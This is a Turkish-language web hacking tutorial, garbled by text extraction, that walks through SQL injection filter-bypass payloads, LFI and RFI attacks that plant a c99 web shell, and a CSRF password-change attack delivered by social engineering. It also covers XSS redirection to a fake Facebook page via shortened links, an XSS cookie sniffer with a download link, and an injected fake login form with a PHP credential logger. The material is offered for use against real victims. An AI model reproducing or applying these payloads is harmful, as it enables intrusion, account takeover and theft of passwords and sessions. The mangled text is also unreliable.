Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 4: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

inurlrdquosearchphpid=rdquo

inurlrdquoindexphpid=rdquo

inurlrdquokayitphpid=rdquo

bu dorklar ccediloğaltılabilir

Search (Arama) Kutularında id= değeri ziyaretccedili defterleri Kayıt Formları Yorum Formları vbyerlerde de bulunabilirBir Search kutusu duumlşuumlnuumln

Search kutusuna XSS accedilığının olup olmadığını anlamak iccedilin bir alert kodu yazalımltscriptgtalert(ldquoBuralar eskiden hep XSS dirdquo)ltscriptgt

Yazdıktan sonra arama butonuna tıklıyoruz Eğer accedilık mevcut ise ekrana bir alert yansıyacaktır şuşekilde

b-) id= Değerinin Bulunduğu Yerlerde

Bir Web sayfası duumlşuumlnuumln wwwhedefsitecomdegerphpid=3 şeklinde olsunId= değerinin sağtarafında bulunan rakam harf kelime veya her ne ise silip onun yerine accedilık olduğunu anlamamız iccedilin

alert kodunu yazıyoruz

wwwhedefsitecomdegerphpid= ltscriptgtalert(ldquoBuralar Eskiden Hep XSS di rdquo)ltscriptgt

Daha sonra bu goumlnderdiğimiz sorgu ile ekrana alttaki şekilde bir alert yansıyorsa accedilık olduğunu tekraranlıyoruz

c-) Ziyaretccedili Defterlerinde (STORED XSS)

Uumlstte goumlruumllen resim bir sitede bulunan ziyaretccedili defteridirZiyaretccedili Defterleri web sayfaları iccedilin ccediloktehlike arz eden yerlerdirBu zaafiyet tuumlruumlne STORED XSS Zaafiyeti denilirBuraya yazdığımız bir

HTML veya Javascript kodu herkez tarafından goumlruumllebildiği iccedilin sayfada ccedilalıştığında ziyaretccedili defterinegiren herkez tarafından sizin girdiğiniz kod ccedilalışacaktırYani gireceğiniz HTML Meta youmlnlendirme kodu

sayfaya giren şahısları hedef adreslere youmlnlendirecektirBu saldırıya biraz daha suumls katmak iccedilinPhising sayfanıza veya Fake sayfanıza youmlnlendirme yapabilirsinizŞimdi burada goumlruumllen kutucuklara

XSS Alert kodunu yazıyoruz

Eğer accedilık varsa sayfa bizim kodumuzu ccedilalıştıracaktırYani ekrana alert gelecektir

d-) Kayıt Formlarında

Kayıt Formları XSS Accedilığı iccedilin olanak sağlıyorKayıt Formları genellikle Forum sitelerdemevcutturForum siteleri ccediloğunluk olarak hazır sistem kullanırlar(MyBB Vb SMF vs vs)

Eğer bir forumda hazır sistem kuruluysa veya suumlruumlm olarak belirli bir suumlruumlmuuml varsa ki genelde olurExploit sitelerinden O sistemin suumlruumlmuumlnuuml araştırabilir XSS Accedilıkları mevcutsa Exploit yardımıyla accedilığısoumlmuumlrebilirsinizBiz sistem kullanılmayan bir forum sitesinden devam edelim ) Uumlstte goumlruumllduumlğuuml gibi birkayıt formu mevcutBuradaki kutucuklara tıpkı ziyaretccedili formlarındaki gibi XSS Alert kodlarımızı entegre

ediyoruzEğer accedilık mevcutsa alert alınır

e-) Yorum Formlarında

Bu şıkkımızı Cyber-Warriorrsquodan alıntı yaparak anlatayım

Goumlruumllduumlğuuml gibi bir konun altında mevcut olan yorum yazma texti

Burada Mesaj text boumlluumlmuumlne XSS Alert kodumuzu yazıyoruz

Evet XSS Alert kodumuzu da yazdıktan sonra cevap yaz butonuna tıklıyoruzEğer ki XSS Accedilığıolsaydı alert alacaktıkKonuya giren kişiler tarafından da goumlruumllecektiYani bu kod onlar konuya girildiği

esnada ccedilalışacak ve onlara da alert verecektiBuraya ben XSS Alert kodu değil de Fake sayfamayoumlnlendirmesi iccedilin bir kod yazsaydım konuya giren kişiler benim belirlediğim adrese youmlnlenecektiAma

oumlyle bir accedilık olmadığı iccedilin CW lsquode başka kapıya ))

6-Saldırı Anı (Accedilığın Bulunması) - Accedilığın Bypass Edilmesi(Engellerin Aşımı)

Bir Web Sayfası duumlşuumlnuumln wwwhedefcomindexphpid=

XSS Accedilığı arayalım hemen wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt

Yaptık Ekrana alert yansımadıPesmi edeceğiz Hayır tabi ki deHerşeyin bir yolu olduğu gibibununda bir yolu varNormal şartlarda bu sitede accedilık olduğunu duumlşuumlnuumlnAma bize alert vermediBizde

bu accedilığı bypass ederek ekrana alertrsquoımızı alacağızNasıl mı

a-) HTML Bypass Code

Evet ilk bypass youmlntemimizde ltscriptgtalert(ldquoMahserrdquo)ltscriptgt Alert kodumuzu HTML Encodeedecez yani ŞifreleyeceğizHemen bakalım

Ne Yaptık HTML Encoder ile kodumuzu şifreledikŞimdi bu şekilde accedilık analizi yapalım

wwwhedefcomindexphpid= ltscripttype=textjavascriptgtdocumentwrite(rsquou007Fu003Cu0073u0063u0072u0069u0070u0074u003Eu0061u006Cu0065u0072u0074u0028u0022u004Du0061u0068u0073u0065u0072u0022u0029u003Bu003Cu002Fu0073u0063u0072u0069u0070u0074u003Ersquo)ltscriptgt

Bu sefer ekrana alert yansıdığını goumlreceksiniz

b-) Bypass JavaScript Code

Evet bu şıkkımızda ise Javascript kodlarıyla oynayarak bypass youmlntemini gerccedilekleştiricezTekrarhedef site uumlzerine yoğunlaşalım

wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt

Şeklinde giriyoruzAlert alamadıkHemen kodlarla oynayalım farkı goumlrelim

Evet kodumuzla oynadık tekrar hedef site uumlzerinde accedilık analizi yaptığımızda alert alacağız

c-)Normal Bypass

Sıra Geldi Normal Bypass YolunaBu bypass tuumlruumlnde alert kodumuzla pek oynamayapmayacağızAlert kodumuzun başına bir muumldahalede bulunarak alert alacağız

Evet bu şekilde de farklı bir bypass youmlntemi uyguladıkBurada ki ldquogt kodu daha anlaşılır ve koda netlikkatarBu yolla da bir alert aldıkSıra geldi accedilığın uygun kullanımına

7-Saldırı Anı2 (Accedilığın Uygun Kullanımı) -

Cross Site Scripting accedilığını bulduktan sonra en oumlnemli faktoumlrlerden birisi de accedilığın uygunkullanımıdırAccedilığı ne kadar iyi soumlmuumlruumlrseniz sizin iccedilin o derece iyidirXSS Accedilığının sadece site

hacklemek iccedilin değil Siteye uumlye kişilerin bilgilerini almak iccedilin hesapları ele geccedilirmek iccedilin veya bir

kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz

Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde

Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin

Yazacağımız kod şu şekildedir

wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt

Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık

olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=

wwwfakefacebooksayfamcom ltscriptgt

adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır

Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır

8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)

Sniffer Nedir

Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle

değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini

ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır

İşleme başlamadan Sniffer dosyalarını vereyim sizlere

Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn

Hemen kuruluma geccediliyoruz

Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz

httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)

httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz

Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım

httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs

SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz

httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz

Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu

adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir

Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır

Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek

karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml

linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri

httpbenimsitemcomSnifferlogphp adresine gelecektir

9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)

Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde

[Username]= admin UserİnfoCookie[Password]= mahserat

Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk

10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak

Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız

Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız

wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling

centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password

gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt

Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar

fakesayfaphp

ltphp

$login = $_POST[rsquologinrsquo]

$password= $_POST[rsquoPasswordrsquo]

$open = fopen(rsquologhtmrsquo rsquoa+rsquo)

fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo

Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)

gt

fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor

Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz

SQL İnjection1- SQL İnjection Nedir

SQL (Structured Query Language)

SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır

2- SQL İnjectionrsquoun Mantığı Nedir

Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim

